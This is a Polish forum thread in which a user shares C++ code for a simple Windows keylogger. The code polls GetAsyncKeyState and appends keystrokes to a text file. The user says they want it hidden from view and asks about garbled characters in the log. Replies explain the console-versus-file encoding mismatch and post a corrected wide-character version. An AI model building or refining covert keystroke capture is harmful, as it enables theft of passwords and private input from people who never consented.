Dziwne znaczki w logach

0

Dzisiaj bawiłem się z keyllogerami i zrobiłem 2. Jeden działający za pomocą _kbhit, _getch, a drugi korzystający z GetAsyncKeyState. W 1. działało ładnie ale chciałem zrobić bez użycia konsoli (żeby była schowana). To co wyświetla mi się w consoli jest prawidłowe ale w pliku jest to: ä…—ä‘“ä…—ä‘“ä…—ä‘“ä…— Wie ktoś czym może być to spowodowane? kod:

// pliki.cpp: definiuje punkt wejścia dla aplikacji konsolowej.
//
#include "stdafx.h"
#include <Windows.h>
#include <iostream>
#include <string>
#include <fstream>
#include <conio.h>
using namespace std;

int main()
{
	fstream plik;
	string klucz;
	char key;
	plik.open("text.txt", ios::out | ios::app);
	while (true)
	{
		for (int i = 8; i <= 190; i++)
		{
			if (GetAsyncKeyState(i) == -32767)
			{
				cout << static_cast<char>(i);
				plik << static_cast<char>(i);
			}
		}
	}
	plik.close();
	return 0;
}
0

W "polskim" Windowsie konsola ma kodowanie cp852, a plik zapewne przeglądasz w jakimś edytorze, który zakłada, że plik tekstowy jest w kodowaniu systemowym, czyli Windows-1250. I stąd pewnie te różnice.

1

spróbuj tak:

#include <Windows.h>
#include <iostream>
#include <string>
#include <fstream>
#include <locale>
#include <conio.h>
using namespace std;
 
int main()
{
    std::wofstream plik;
    string klucz;
    char key;
    plik.open("text.txt", ios::out | ios::app);
    plik.imbue(std::locale(""));

    while (true)
    {
        for (wchar_t i = 8; i <= 190; i++)
        {
            if (GetAsyncKeyState(i) == -32767) // co to za dziwo?? Liczby magiczne to zła praktyka.
            {
                cout << static_cast<char>(i);
                plik << i;
            }
        }
    }
    plik.close();
    return 0;
}
0

Dzięki marek za pomoc :) Zadziałało chociaż nie wiem dlaczego to zaraz idę się dowiedzieć. Można close

0
  1. plik.imbue(std::locale("")); wymusza użycie systemowego locale, przez co plik zostanie zapisany we właściwym kodowaniu dla danego systemu.
  2. wofstream wchar_t użycie szerokich znaków ułatwia radzenie sobie ze znakami z poza zakresu ASCII. W przypadku char kodowanie może utrudnić interpretację wartości (np dla UTF-8 ważna jest sekwencja znaków).

Może się okazać, że tylko jedna z tych modyfikacji wystarczy, do osiągnięcia właściwego rezultatu.

1 użytkowników online, w tym zalogowanych: 0, gości: 1